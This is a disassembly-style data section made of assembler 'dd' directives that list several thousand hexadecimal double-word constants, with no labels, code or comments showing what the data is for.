dd 0A1A4211Eh, 0D8DA638h, 4BDB62EFh, 53E6150Ch, 3E1B9625h
dd 0FCBE5019h, 18A6AAD6h, 6B3D537Bh, 0D915EF34h, 992F8A96h
dd 0E727488Ch, 5D151274h, 0BC706550h, 9C365C48h, 0E6384891h
dd 5A55CC15h, 8CEE811Bh, 5385608Ch, 0CEC199A2h, 4F51A5C4h
dd 0E114CCF7h, 0CA6914B2h, 7E7FCC80h, 7187A92Ch, 0B5BF82A7h
dd 0D84B7DF3h, 0DD69C4C2h, 0ADAD1679h, 0F9EAF8D6h, 48594D95h
dd 97EBCF87h, 263750F3h, 6C28FDA9h, 8FFAF5C6h, 8B4D1E1h
dd 0C39D3614h, 0DD66DEBAh, 7CB0B3E4h, 0FC91604h, 0A53302B5h
dd 0E03A01AAh, 1173D817h, 0AFC5AF55h, 0E7D31C84h, 6EC2195Dh
dd 14F0E216h, 1B433A40h, 0F4E69EB4h, 1D6C7C53h, 71AF3698h
dd 7244115Ah, 7CCC0EA9h, 17DD9B7Fh, 0B63E3DA3h, 3646B48h
dd 0D34CC08Ah, 0A93D9EE1h, 0BCCC48A5h, 1C3AC338h, 0C34BA30Dh
dd 0D1423CE3h, 0D603EFB7h, 4A120550h, 2717DF42h, 9CCE1CD4h
dd 19917F61h, 715CD73Dh, 82422512h, 85EBAF41h, 6C6307BEh
dd 0D4AFDADAh, 3B9EF4C4h, 0FFD4D4DBh, 0B82544E1h, 493D1DA7h
dd 3C237261h, 25E50F3Ah, 0B5E837A1h, 0E8E52347h, 40A37AFFh
dd 79417216h, 0DA3FD2D6h, 0B4AEE462h, 2E1B2D2Ch, 75DAD563h
dd 2EF2AB44h, 0FE1B942Ch, 29C99592h, 124FF580h, 0D5FD623h
dd 0A2AF07ABh, 0E34792A3h, 901CF346h, 85C0BBB2h, 34BB276h
dd 3F8CFA41h, 85026F0h, 7A38617Eh, 6DDFF447h, 804AF9Ch
dd 0D72A5B7Fh, 0FCF6F2BBh, 0E2871383h, 6AF7695Bh, 3A0D17EBh
dd 1E03D67Fh, 263358CBh, 15A1DA12h, 0F5560707h, 0CEA2DE74h
dd 0A1CF6EF1h, 81E750Bh, 0F331F231h, 0A1789C84h, 7AE38460h
dd 0F5169EF5h, 0D7E09A53h, 0EF3778DAh, 67C6910Eh, 0F0A03265h
dd 0FA99EBD7h, 0CB40E38Ah, 33869180h, 43417FE3h, 2DC4FC1Eh
dd 0A8220590h, 695616D5h, 70765AF7h, 51D9679Ah, 6C61612Dh
dd 0A72EBA62h, 22207D9Eh, 7386AD37h, 941146C6h, 3164CA6Bh
dd 0BFA35D9Fh, 0BD25C8DDh, 0FA4C17CBh, 0F8A78C19h, 68569D7Bh
dd 80D2D0F2h, 0D9F7C256h, 0EA6B3BAEh, 70645927h, 26552318h
dd 77723992h, 463B74E0h, 0D8E02278h, 0EBC43678h, 95CC667Ch
dd 0D2536589h, 5E79DF8Dh, 0CB6436F1h, 0ED8E4E5Bh, 59F636A6h
dd 659C8BF9h, 941CE488h, 6C512621h, 0E0EA4729h, 0BA3B84Ch
dd 0A8846466h, 0A813E837h, 94EAB115h, 5BEC8A0Eh, 0C56906C9h
dd 0C1D4965Ch, 6F665315h, 4B61DDEh, 90D62BEFh, 0D1844878h
dd 163023E6h, 0B2F47811h, 27694794h, 0D762EEE0h, 0E2BB721Eh
dd 0F536A79Eh, 76F33866h, 0FB437FA1h, 0DA1AC213h, 0B908DC78h
dd 9BF7718Eh, 0A9925F58h, 8C0560DAh, 1A838B09h, 806F334Bh
dd 0D012BDCCh, 0B582386h, 9EF5B1F3h, 0FD226449h, 0F9E345CBh
dd 0DBD12BFh, 39E1592Eh, 5014657Dh, 131F818Eh, 451B0FA6h
dd 0DE988EA0h, 2CF25084h, 0CF23F52Ah, 0E20ED396h, 0BAC424A3h
dd 35D56702h, 0CF7EC35Ah, 60E8A549h, 668D3286h, 68429435h
dd 591C2203h, 42ECA9B2h, 77CAE45Eh, 154315AAh, 6990B739h
dd 0DE9B9267h, 55C9F417h, 0C2783857h, 1DA9161Ah, 78B98881h
dd 214007E2h, 1307D849h, 0E8E58489h, 162675B2h, 0B02E8B7Eh
dd 944DDE8Fh, 74AB0D77h, 0E7ADEE66h, 0DD4C4B3Dh, 3CD4A1D8h
dd 0C1198C81h, 0E8CE0297h, 0AC05B160h, 0ECA8BEA4h, 87D8C05Dh
dd 5E79873Eh, 0ED8E1196h, 7D911C5Ah, 0C538CDC6h, 0DFA6AE8Bh
dd 0FF67EE22h, 51B0296h, 4A2C0989h, 0AFDC38A7h, 985088EDh
dd 0E4B2328Fh, 9D92565Eh, 54F737F8h, 0E88A26C7h, 33AFEC78h
dd 0B3FB0CEBh, 14D75ED6h, 37F7EF2Ah, 0B2A1FA7Ah, 410AD1D3h
dd 0A5FC092Fh, 0F8D565D8h, 0AC52C3A9h, 4BCB3759h, 561BFBA0h
dd 83A4D5D4h, 63759C59h, 5280580Fh, 0BA6811EBh, 32BF213Eh
dd 29B3E6A1h, 37C70ADBh, 490469FAh, 0ACF1A99Dh, 49C210DAh
dd 7DDC7B47h, 19B5E2C9h, 58F70C85h, 36E57DD2h, 0EE10BF43h
dd 94EA61FFh, 0EA6AFDD9h, 7A19F6C8h, 717121F1h, 9E3D518Dh
dd 0DAF8E31Ch, 0C8BE826Eh, 7B09C666h, 72E8A4FDh, 889C22A9h
dd 0C3C04D57h, 0D82461D7h, 8D3A69F6h, 8144D516h, 65C725F1h
dd 9ABE74B8h, 0F48AACDh, 0AC5C8878h, 47C3637Dh, 1CE4A7Fh
dd 0ED97B485h, 1DE7887Bh, 17C52634h, 9723E463h, 0DFCB00DFh
dd 32841401h, 5AE164E1h, 0CA6EB6FFh, 0FC056C17h, 483E7707h
dd 71112CB5h, 6E399D71h, 15C5BB4h, 13738D52h, 0BE167682h
dd 15F150F7h, 0D051F9Ah, 0CDEF8E4Ah, 55286527h, 332936A4h
dd 0B5475B01h, 0DF7151B6h, 159A0EB0h, 7373985Ah, 0AC750427h
dd 5458060Ch, 0C7BBB3CEh, 1DA563Ah, 2FDF0787h, 0ACB350F6h
dd 717CE84Ch, 0BA1F00Ch, 9AC0184Fh, 5844E8F6h, 410543FBh
dd 0C4F48682h, 94402DA5h, 6956BE13h, 4EEF9B03h, 8B1A90BDh
dd 9457491h, 6444F3C8h, 6E85E633h, 13A9680Fh, 486FF0C8h
dd 530577BAh, 9323F53Dh, 84C3F999h, 8E45ED31h, 6E915C5Ch
dd 0EF3B28EFh, 244E866Ch, 352F488Dh, 4178B780h, 29629678h
dd 0D87A8C57h, 0CF8668C8h, 960AC5BDh, 144E382Ah, 6E7D7877h
dd 815294ACh, 0ECC6A48Dh, 0E8B4D698h, 52964F42h, 5D3A7A79h
dd 8A5B09A2h, 8E09B01Ch, 48B874B4h, 54EE85CAh, 6B24D671h
dd 6AF0A68Eh, 9DC1F74Fh, 0F404FEFBh, 0CE526067h, 5D7E8806h
dd 3A5C50D9h, 65BE13A9h, 1F42FD3Fh, 0FE818D11h, 0A5FEDEDCh
dd 9E542173h, 0E9F10DE9h, 0BCDD3B03h, 1008AB3h, 0E3E4AA70h
dd 63C25483h, 0AB920728h, 50507A02h, 0E416AB45h, 245C1D0Ah
dd 405E0C93h, 172A1F4Eh, 1DACCFACh, 0E5973BC6h, 0C4BFC742h
dd 6FA902D1h, 0B3CC221Fh, 66D586C8h, 0E3338A1h, 0F5EB3828h
dd 4D45CBBFh, 729EC8DCh, 29E338C8h, 0F64DF7FBh, 4BACBA4Eh
dd 0DC9C8C24h, 586D85AAh, 0C281D7E8h, 75618D0Bh, 441327A7h
dd 7DB75E2Bh, 6BBDA0FCh
dd 227FA765h, 2D6E2EACh, 0C56D8BBBh, 0ED051310h, 227E2352h
dd 5E40BF86h, 0A0A90AE8h, 0FF60C8D8h, 0CDCF241Eh, 34B58B75h
dd 81C34B42h, 2B5B4CFEh, 66AADC87h, 154FC9E9h, 25C025FCh
dd 814E7081h, 0D7B8B396h, 1C91FA2Dh, 5744A20Bh, 84097782h
dd 7CBC0455h, 36547D78h, 0A896039Eh, 55D84C34h, 73336E1Fh
dd 3AF840F9h, 0D54D114h, 0FD095858h, 0B302C0CDh, 9C25F86Dh
dd 0A0B89493h, 0CCA861D1h, 0BDB86164h, 92C94B0Ch, 0ADA14D7Fh
dd 7712A09Bh, 0A5BF1674h, 6B88A8A8h, 5AA8413Bh, 0A5949FABh
dd 6D5E8FA3h, 71CACEADh, 8969F0DFh, 3080B575h, 0C133EEE4h
dd 8847D393h, 0D48B92E6h, 936588A7h, 0A0A9E4Dh, 62891714h
dd 902BCAE6h, 0B9B0733Ah, 0E3346C46h, 6C7C9B78h, 0CB3F845h
dd 9BBF25E4h, 16841828h, 292CAE0Ch, 4F636E7h, 2F176426h
dd 9E0B74AFh, 5B77AD86h, 7C0B77F3h, 0C7C2E0B6h, 3E2357F6h
dd 647D3400h, 87678E5Ch, 2C7ACC7Ah, 0E64F4DFFh, 0CA240F9Ah
dd 4B65FDFEh, 0D6C9D457h, 0A9982362h, 0F1DAAAD9h, 0DA1F2021h
dd 7D938E3Ah, 38EDB14Ch, 0D9BCDB2Eh, 64CF7BE0h, 0DE77952Ah
dd 0FE6CE406h, 0E40837B0h, 1153EBEFh, 0A9149BC2h, 0E882BA62h
dd 21A5416Eh, 0EAB5F2DAh, 253C45A5h, 85A34EF6h, 54C65582h
dd 0B7EE2716h, 4B5B60CCh, 0EAAB476Ch, 5D01CBBDh, 90189798h
dd 0F437FE20h, 9DA5A621h, 4ADE6A10h, 0FDB9CC08h, 0F6FF80F7h
dd 0C7FFA420h, 0A38FA4E7h, 61AEAAC2h, 60ED7789h, 0D086D052h
dd 0F36AC2B9h, 7EBFF0E7h, 810CB840h, 0BD69CA97h, 853C20A8h
dd 140B8159h, 0D1640F10h, 8F0E944Ah, 0D6277CCCh, 4065887Bh
dd 0FAB1E379h, 86D1FF68h, 89EEDE56h, 319B91D1h, 58809B67h
dd 66F9C967h, 0BA1E67E0h, 60DB8C9Bh, 0C880369Bh, 0DE0D9627h
dd 0BB0EBD68h, 7209AC98h, 0F07E7EE0h, 8CA0D1CCh, 0DB280AFDh
dd 340AD43h, 6723A5EEh, 0AD6F4BF0h, 7946510Dh, 8BB5EF53h
dd 11E49045h, 6D3D7768h, 80014324h, 4E4E88E2h, 0C0A06A54h
dd 0E7A47661h, 970E3A8Ah, 0D90384BAh, 0BA2DBFFFh, 0D8E02047h
dd 7467C7C2h, 0FD0B7542h, 0BC48F423h, 0DF37C127h, 40754EF2h
dd 45C1AA43h, 4D001204h, 0D06A2867h, 3E4E2FF4h, 0E2C78DCBh
dd 8FD122A8h, 1CD60037h, 39F47DA9h, 3DD7352Bh, 92164B18h
dd 360BE720h, 729739D4h, 0E5833FF0h, 25A60FD3h, 794A0006h
dd 274A786Bh, 7C7718E9h, 0D08ED06Ch, 9D56FDDFh, 0E8DD31D3h
dd 0E1514D07h, 6F9420ADh, 0CD5812Ch, 0E521F3CBh, 0D2E34E51h
dd 0F43EAF56h, 0B50622F6h, 3D05746Ch, 4F11122Ah, 94DEE69Bh
dd 89844FF6h, 0B09D10E3h, 33C0C14Dh, 3F988C82h, 503F17C2h
dd 0E37177BBh, 0C23A87E9h, 0AC7EE3D7h, 244010E9h, 4153041Ch
dd 7AC1C0DBh, 9BA64D75h, 2C3E8C51h, 30C90396h, 2FC553E5h
dd 3BA4089Dh, 2E0001BEh, 0D64A3C14h, 0CAFD9BA1h, 235B1950h
dd 0CFC72F95h, 0BDC10DCh, 79C5EC3Fh, 0CF1BD6B7h, 0FC9EBBDDh
dd 0F990E5E2h, 824EDD8Eh, 0EEE5596Fh, 2D320B92h, 60AA94D1h
dd 1B590547h, 310BEB8Fh, 0ABD4B1BAh, 0B9F75AB8h, 0AA06FC77h
dd 4A70D1ADh, 0DCCE0EC8h, 0F6CFC788h, 0E8FF6B0Fh, 706D5B3Bh
dd 0BE22EF1Bh, 45DEA771h, 0CA15D4Dh, 0A6A7A783h, 840DA9B7h
dd 123EE31Ah, 0A0CE253Fh, 7EE33995h, 48515121h, 0B45FEEEh
dd 0EB4922F7h, 0D1E03EA4h, 76AAA6EEh, 276FC790h, 3AB47F05h
dd 2A9EBE83h, 38A0523Dh, 0A2D8C163h, 9A52C1FFh, 580DFFC8h
dd 700799DDh, 2D60A3B4h, 7A91793Bh, 57C51E14h, 9181C520h
dd 0A116802Bh, 21A8F77Eh, 776A6B5Eh, 0D7198793h, 934497A2h
dd 300D044Ch, 0ACC6313Ch, 62B91C16h, 21C5977Ah, 0C9103E0Eh
dd 8B77D4E4h, 0BB3CE560h, 73505377h, 0D25885C0h, 70595F44h
dd 0C4313015h, 82940E2Fh, 0E7740455h, 94526EC8h, 0FEC1C83Eh
dd 0EBD66045h, 0C24FADADh, 0D1D192EFh, 4C9790F3h, 153693E7h
dd 26FA4BB6h, 0FEBA1DCCh, 69901578h, 346551A1h, 19153D32h
dd 4F199C57h, 0D0D80967h, 14667336h, 0FF334C62h, 6C15B95Dh
dd 573B6FCDh, 3A35E9A3h, 0E0EF3319h, 96E53FF1h, 8B3A1ED7h
dd 89307250h, 950E07D1h, 0F4893DB1h, 0C59F56E0h, 925904C7h
dd 0FFABC3B3h, 31981570h, 0D0EFA16Bh, 9CAE165Bh, 1EA3DB13h
dd 18BCE106h, 81447AAh, 3388C99Bh, 2824C225h, 0E5DE3D97h
dd 56B66212h, 5474490Fh, 0B632C48Bh, 79F6942h, 94AEBC98h
dd 4BD767AEh, 5B2742C9h, 19CD743Fh, 6BC13AF7h, 20AFBFB3h
dd 592E0946h, 0B1986C95h, 261DA72Ah, 62FEA10Eh, 4A64D4DAh
dd 58A8C97Ch, 0A5D6F3EBh, 90276E9Dh, 61ED7671h, 8FE89767h
dd 0D634FB92h, 61123CE3h, 22BEA1BCh, 55AAD56h, 56B52E9h
dd 1FDD20C4h, 3D7CE362h, 1EAED9DCh, 8C8611D7h, 0A507B363h
dd 0CE6F72h, 0FAB57CE5h, 3B71DB18h, 0D65D2FFDh, 0EDDBC456h
dd 0D01042CDh, 0E08406A8h, 2AAC47E7h, 3CBA73B3h, 0B8F9FA3Bh
dd 0EB2543C1h, 6D5D662Bh, 0F6B7C3C9h, 4C8EA66Fh, 13F29704h
dd 51D44CF9h, 2D132404h, 9512938Ah, 0FA1ED153h, 3311F2B2h
dd 0F2C0A5EBh, 3ABFF277h, 0A6AFDA16h, 0B5BFA253h, 7D070CFFh
dd 0E0CEBF3Ch, 37349C95h, 8AA25F4Eh, 0D5AABE8Bh, 7DF95721h
dd 2CA9AF71h, 0DAAAAC36h, 0E0D425BAh, 51487A38h, 0B9EF6541h
dd 4BCD77C3h, 76B6556Eh, 0AC339504h, 90031DE6h, 0F3979556h
dd 0C91D664h, 9A48DCC0h, 874C7791h, 0C644080Ah, 65141D79h
dd 0A20D7DEFh, 0FF4AF3AFh, 0B500FD3Eh, 221F137Dh, 5102E52Dh
dd 3DF87B33h, 575D800Fh, 0A0871875h, 0F6341C31h, 81D80136h
dd 0B9466FFFh, 8A0F83F0h, 779424A7h, 0C5A8E80Ch, 61ED5575h
dd 31F95067h, 1A51EE92h, 0B5D510ECh, 0C5EB9C5Dh, 9F902D53h
dd 0FB0FAA77h, 892BD943h, 5A528161h, 0D3D218C5h, 1DBB073h
dd 2F3FD65Dh, 1D5B566Dh, 0D8CD3647h, 53173623h, 705D3F2Ah
dd 0E5C257DEh, 0D9D196FBh, 24D70C60h, 0F1C85ECAh, 6B49725Dh
dd 0CB3EEB45h, 0BACCA695h, 0EE1F6F63h, 0D2479367h, 7C9293Fh
dd 295812BAh, 0E028EB52h, 1AC6BADDh, 4A88FCE7h, 3981F089h
dd 96931E67h, 180670A8h, 31A84EFFh, 0E44C346Ch, 4E9CB7C0h
dd 74DD6A6Dh, 266C75A4h, 311C285Eh, 0AF1D4DE5h, 89C73180h
dd 0FABB4C3Dh, 8539274Eh, 0DB6ECB7Ch, 0B4D6FF85h, 0EB23F9CFh
dd 741FAE32h, 8DE41467h, 4041257Dh, 388709DCh, 0ACF6A21Ch
dd 0B448747h, 8B92B60h, 0B6779CDFh, 8C1679EAh, 0FE2093FFh
dd 0B5B8551Ch, 3D70B56Fh, 24F5B7D5h, 794AFCFEh, 9C08A85Ah
dd 0EA25A00Dh, 404A67E9h, 0CD192AFDh, 0F7CEBC66h, 28C70968h
dd 0FC03212Dh, 1D0CB35h, 0C2EEE7BAh, 59116EFAh, 0CB764F73h
dd 5167820h, 0E6BE0271h, 8D91A6FBh, 93FAA3DFh, 0AE4E8EB1h
dd 44274DA7h, 4BD44DC4h, 5642FA0Dh, 6B3CD1B3h, 0D8320569h
dd 17EDE31Ah, 0A1D0407Ah, 0C6774F0Bh, 4E61EDAh, 40E53552h
dd 0D7A989F0h, 0FA8864Dh, 0E14F9ED3h, 8A722B8Dh, 0ADF5537Ah
dd 0ED26EEF7h, 2BD831EDh, 0C54FBB5Eh, 7911E824h, 65B241ABh
dd 484263F4h, 2E6B8B00h, 0EFA83E33h, 28C7908Eh, 5B5E3B65h
dd 38212FA1h, 407DE3EFh, 3486CB60h, 0ABEF695h, 3EFF2B82h
dd 66871650h, 0E0DA5168h, 0DCD93AACh, 6424A9F6h, 6F5C3A0Dh
dd 0A6BBF954h, 0A5A336EBh, 1F468610h, 2713DDADh, 0C126888Bh
dd 47F85980h, 0D61909Ah, 7041C487h, 5F58BCF5h, 0B46E05BBh
dd 0BACD84Dh, 3A84CA0Bh
dd 97AA0E34h, 624CC5A1h, 459A1821h, 0BE1DCCAFh, 9A4E736Ah
dd 80AA664Dh, 58A676FAh, 91481C0Ah, 7EA6761Dh, 0C0813844h
dd 0E4FE29E3h, 1E2630AAh, 2D23FCCCh, 0FB4DEEECh, 9774AE5Bh
dd 0C9C4F043h, 0A6D0CB47h, 0C14D9D95h, 0B866BE78h, 0F003597Dh
dd 0ADB587DBh, 615409C8h, 0F3BF7097h, 990239FFh, 8ED8A85Bh
dd 1273DCB4h, 0E793068h, 7E958B0h, 50CF2018h, 0BAF1A193h
dd 0CA5C28Eh, 7BB5C05Dh, 0ACB872CAh, 0AD302C9Ch, 6A8E9420h
dd 11B53B32h, 36707893h, 35825CF3h, 0E4C66711h, 0ADD464E4h
dd 88C6B54h, 2B4F4880h, 0A3AF91EEh, 973D22DCh, 410C3FE3h
dd 1C10A155h, 139ABE4Dh, 0FE4712FFh, 0A929500Bh, 0D5E8A861h
dd 0D850237Eh, 0D86B4C65h, 821C2490h, 0B4307115h, 40E2E6C8h
dd 0BAE60164h, 5FF2AC21h, 59208440h, 9AAFECC5h, 1B112A0Eh
dd 0C051D9A3h, 246E43E6h, 23127683h, 0D7E223ADh, 0B89ABACCh
dd 8CF62025h, 0E6060597h, 1A19B9DAh, 21F38DE2h, 258CF6A4h
dd 9D49DDA8h, 0FD153093h, 25CF253Bh, 7DC5FF23h, 48BF2717h
dd 0AAEB3E6h, 855E477Dh, 0A4C57CCCh, 0A1E39452h, 4A3CD0F7h
dd 0C865BDF9h, 3807912Bh, 699A5EE9h, 8A4F3A1Dh, 23579A38h
dd 5822113Bh, 2A14ED59h, 8CCC01DFh, 62993617h, 701BB96Fh
dd 51B9352Fh, 0EEF768D4h, 9055AC20h, 22E82C85h, 51D8775Ch
dd 2E3A90F0h, 8308CA28h, 0CDF4E3F3h, 31EFFEFEh, 9652C989h
dd 119EE231h, 8CB2B639h, 233BB89Fh, 0A2E3C7B5h, 0FFCFD5C4h
dd 0B4E278B6h, 0C05208C7h, 0F789C3F1h, 343FDA67h, 20227F9Bh
dd 54C6401Fh, 0BE0A5BBAh, 77A09AF9h, 0F77548EAh, 45C79AD5h
dd 0EEDD2BFCh, 45C7E0C6h, 0C4E2B9D9h, 158CA0FAh, 1C8F7B33h
dd 4AC1FF3h, 39FD24Ah, 6A45D080h, 0B2CD0958h, 0F9FF9BCAh
dd 39E025FAh, 0B3631B00h, 0EFECAC5Ch, 4B2BB212h, 0D6C354C6h
dd 0B8CDDD50h, 0A01322B6h, 789D2815h, 652A29C3h, 2C1B34CDh
dd 6E8C954Ah, 26598516h, 659060B7h, 9730F71Fh, 0CBFBDEC6h
dd 0A4D974C2h, 47953E2Eh, 0FF69F4BBh, 6BEACE4Ah, 58FEFE9Bh
dd 25275FE6h, 23387202h, 714BA3CBh, 0D94B79C9h, 0DD986361h
dd 0F35A19C5h, 459536B8h, 0C8AB534Ah, 6AAB6356h, 68F96DC9h
dd 7D74F83Eh, 4F143B66h, 0B1E3CDEAh, 6117B1C3h, 805B8A92h
dd 66BB468Ah, 54A8E86Fh, 0AA3E1F92h, 0E0ABB68Ch, 201463F6h
dd 15434102h, 93D9ECC9h, 515406A3h, 641BA8FEh, 0A3B75542h
dd 6D146979h, 67F13E79h, 0D464D400h, 0E076C095h, 0B9A94EC1h
dd 73ADEF36h, 986FBF5Fh, 0F90ABAA4h, 0E932718h, 6DC73A1h
dd 1C06A859h, 4EF5B967h, 9737D922h, 0CF1F81E8h, 5DB6BD9Ch
dd 993E6355h, 459896FDh, 358CE47Eh, 43844764h, 8654FC8h
dd 160503D4h, 0B5942B61h, 5B6D18AEh, 0E5981A4h, 0FDEB72D6h
dd 282B8A27h, 3F21DB99h, 1C919A14h, 0B9950D49h, 0B3557850h
dd 26AA809Ch, 0A1EA62B3h, 3EA551B3h, 2672EC61h, 0B312F9FFh
dd 467127ABh, 0D1BE1445h, 0A4893E49h, 1B4A8E38h, 6CED2B73h
dd 0B46C0434h, 8A59C789h, 0B0BB5E7Ch, 3FA2E4C3h, 0FB8BB379h
dd 4D4CBAD2h, 3640A1BCh, 848B21Eh, 0DFA96E6Ch, 68B9AF25h
dd 40490BBCh, 4B4A5192h, 0B75C58E9h, 79DDDD3Bh, 0BBD47152h
dd 33B6A126h, 99BAE1DBh, 15ACDE3Bh, 9EB39B89h, 0E65AFDB3h
dd 32E6A147h, 79239205h, 5C7557A2h, 1F1FE113h, 0FE7B3246h
dd 58FFE6B8h, 0D3B9D21Ch, 29C8EB1Dh, 9C731E32h, 0F3E497EAh
dd 3DC5AABEh, 620751EEh, 92BAAA78h, 0CF168B85h, 50ACEF46h
dd 1C2D5252h, 55E30E39h, 8CD4DBE4h, 9F888938h, 18B7CF55h
dd 945A8C77h, 74AA4291h, 184C0F85h, 6E7E0C8Eh, 0E2563822h
dd 49DC5FC5h, 575C27CDh, 50A20AB4h, 5128ED69h, 0C442ADE2h
dd 340E2CAh, 0FDE9F850h, 39EB3C8Fh, 2B50C335h, 0E344A8D9h
dd 9A4AF874h, 1D10268Fh, 0ACE2098Eh, 56133A8Bh, 0C96A9D29h
dd 84C54C56h, 0D9F5AF99h, 0D22AF2CAh, 0CA75355Eh, 0BCAE5208h
dd 5C9E1780h, 0B7220BC7h, 146132B2h, 0E10DE19Ah, 9A32384h
dd 53428A49h, 92CBA29h, 50569CA9h, 3EB2D18Dh, 9FC795EAh
dd 0AE5397C4h, 0B8E37FDAh, 7A656F1Fh, 0EAF8C167h, 6EA28401h
dd 416C42BDh, 79C6CC5Dh, 0EE2E83CDh, 0F69C38Eh, 0D530060Dh
dd 0E61AE158h, 370CCFCFh, 3292D58Eh, 6AE808AAh, 7C8FE1CAh
dd 0F8EBA772h, 1D2BE738h, 0FB9B29B6h, 0AB14BB19h, 0A75DEFA2h
dd 3D15D817h, 4DF3D123h, 0CF6D936Fh, 6FAB96D2h, 0BEDEC362h
dd 0F1451AC2h, 90ED9658h, 9C0A7EDh, 484B7BA4h, 3B890CD7h
dd 8A2222AAh, 0B48400A8h, 54715736h, 707239A6h, 0A44306CBh
dd 0FFEAF9F7h, 11E8424Dh, 0E5B03226h, 0F9B88106h, 5B9F9DB3h
dd 60A78323h, 94CE968h, 811AEFD0h, 6D5B7E1Bh, 0C187E6B6h
dd 6B494D9Dh, 447137A4h, 0F9A14502h, 94ABB894h, 90694967h
dd 0FB4E9B91h, 3336B512h, 260906Ch, 9DEEF2A1h, 1E9A16FFh
dd 0D44473C4h, 84B07C6Bh, 0EED73ED9h, 0EDCDCB3Fh, 0CB14484Ah
dd 52924CAAh, 27B58F05h, 500C07DBh, 18364B62h, 0D638D6B7h
dd 0C8AC34C0h, 1ADDEB6Fh, 0FFA1FFC9h, 2A8F0134h, 25696179h
dd 0F3E52DCCh, 1E5CA622h, 29453D5Dh, 28876F5Dh, 0C71755D8h
dd 9C3D6402h, 0D58ECEF6h, 58C4E345h, 9BE150E2h, 6AE3D5C3h
dd 90DD8484h, 46565FD5h, 0C3E5E661h, 540D21FFh, 0AE78B0C1h
dd 4C59B2B6h, 474417A2h, 0D95C9Ch, 998660A1h, 0D7EC64BFh
dd 911C26CFh, 3AF113B3h, 402AFF79h, 6D87B5Bh, 51D20938h
dd 515762E8h, 48D8B15Dh, 0CB8F0918h, 2C7664A2h, 65F22A83h
dd 5916A898h, 721DD937h, 505AD855h, 7DD1D66h, 66D903Dh
dd 84BBBA2Ch, 37B240C7h, 0F7B2615Eh, 2837B549h, 0FBD55786h
dd 0ABD08807h, 577B341Eh, 0E2DFACF5h, 1177A686h, 0E65982F0h
dd 5AFCF5A7h, 7CB21C13h, 53F92528h, 58553552h, 86FB97AFh
dd 9A11F358h, 3C96A21Bh, 60EB9358h, 6BBA6CFCh, 0D591BE81h
dd 0D520292Ah, 0CFEDE3F8h, 9740947Ch, 0A618AEA7h, 318DB7D0h
dd 465F053Dh, 111A77C6h, 426B680Bh, 143D3E71h, 6EE6C94Ah
dd 8FEBDB4Bh, 0DB01D8C8h, 25C21796h, 437C4DC5h, 0EA1A6327h
dd 0A95765D4h, 1CECE0F2h, 0A5004FC2h, 903026CDh, 6F458B51h
dd 7A72E3B8h, 6AAEB94Eh, 8D866D55h, 0FC4DAE2Bh, 34826FAh
dd 8C177F2Bh, 6C486228h, 0FC67E571h, 8494C4F7h, 0FA1D08C1h
dd 0F8DC1015h, 4C602E79h, 2DD89159h, 170722ABh, 975FCCF8h
dd 4A19C527h, 6A66AFB9h, 57B873EDh, 62AE7E79h, 55B09844h
dd 8A301487h, 1EDBE149h, 6799278h, 0EE5249A0h, 0CD1955B2h
dd 8E1B4F93h, 584F598h, 0EA8064BCh, 0B4FD5349h, 42A8C36Dh
dd 85953AF2h, 6160D57h, 834D8BF9h, 0FA3EECD6h, 0B3005A9Ah
dd 56C0A38Fh, 2ADCBE2Ch, 850EB568h, 0FF616B23h, 0BD41AE36h
dd 0C3940BACh, 7A45FF9Fh, 0A012A252h, 8333A696h, 19DB1E6Ah
dd 4E582229h, 0DC1BBFC5h, 0B14A54EEh, 87F3C962h, 8FA15895h
dd 8CF49476h, 2BA936CEh, 93F3580Ch, 359D7DA4h, 83684199h
dd 29533EDFh, 0FB71678h, 58999492h, 54D689FFh, 5AE361FBh
dd 0EDE5F7BBh, 1C5D0F32h, 0E999870Dh, 0C618997Ch, 0BD18964Fh
dd 80532061h, 12D00B39h, 98D78F1Bh, 0A83DA77Ah, 9C74CFDAh
dd 0A4D4CECCh, 9E3B75A9h, 27E4C096h, 42DA3EA9h, 81D843FCh
dd 0BE3EC0BEh, 0F60ABFC9h, 0DBBD46A9h, 7EDE3E89h, 7820E9E8h
dd 83AA050Bh, 7EAF75F1h
dd 5AF54CEBh, 0B83658Eh, 5DBA1932h, 0C364E2FEh, 0E7A4E1C7h
dd 6155B106h, 0DF288E5Ah, 66F4CA41h, 10395AD5h, 1BE6E995h
dd 850E251h, 9151B18Eh, 0CDF1A239h, 65A41E02h, 5C5E07CCh
dd 7D621104h, 7F36EE9Fh, 0FCA0C589h, 5D74E87Ah, 8AEE7E76h
dd 0C36735B4h, 23B689B1h, 0DAF89305h, 4CEB77BBh, 98A78Ah
dd 47CDEDB2h, 0A217D37Fh, 8228E5FCh, 7F55BF06h, 791655DBh
dd 90D8DE5Eh, 509D6417h, 0CACC378Bh, 436BCE03h, 2ABE2566h
dd 72AAAD53h, 0E7A5E7B2h, 0C0B649Dh, 0EF3CDFACh, 9A775FBFh
dd 8B7AFC60h, 6B6C31BBh, 775ED440h, 0E64048DFh, 215266FDh
dd 5CB3A53Eh, 0EA30B331h, 28C4A528h, 74627493h, 1986581Dh
dd 61A6C54Eh, 3956E5C0h, 0F73B47F5h, 0BA89C40Bh, 23347199h
dd 0D958046Ah, 0B2FAAFECh, 0CD4A4565h, 2BCCBC62h, 85375F13h
dd 12E95A10h, 14DFECA0h, 30F3A8ADh, 2105EE27h, 9DF50123h
dd 0B82E3C6Dh, 2E481277h, 2EC936E5h, 0B586060Ah, 8581C697h
dd 81DC1110h, 26F181F1h, 735C2506h, 5ABCA5BAh, 2891B782h
dd 6A1980E4h, 0BA571D08h, 12773770h, 7DF4C66Ah, 0FD44AB98h
dd 0F6816863h, 0B1FF6E12h, 19BF876Bh, 52EA0264h, 7586A258h
dd 791C28F1h, 2EE40B3Ah, 34D30D72h, 59D7E93Fh, 466ACF33h
dd 0C8A7C5ACh, 0F249A325h, 0B7FFCE78h, 0BDDFFF1Dh, 347FEC01h
dd 40E8301h, 3C0406BFh, 0C2595F4Bh, 0BA5DB40Fh, 396A343Ah
dd 943E6926h, 5F74BBABh, 3E067C00h, 868AA25Bh, 52530DDCh
dd 0A35B6C07h, 111DD7B5h, 0F558CA78h, 2FC0704h, 2DA36E1Dh
dd 685CD164h, 0FC646C08h, 26565D6h, 0B1D3A6FBh, 498D760h
dd 0B65E0A0Dh, 0D3D0C54Bh, 96AF8134h, 0E958D872h, 68E5216Dh
dd 0E723D7C1h, 1B3C3CBDh, 1AB58A31h, 494C53FAh, 1835DD5Fh
dd 3DDAE4E9h, 0BA6A4989h, 0CF2AA54Ah, 516603D8h, 5FE7AD6Ah
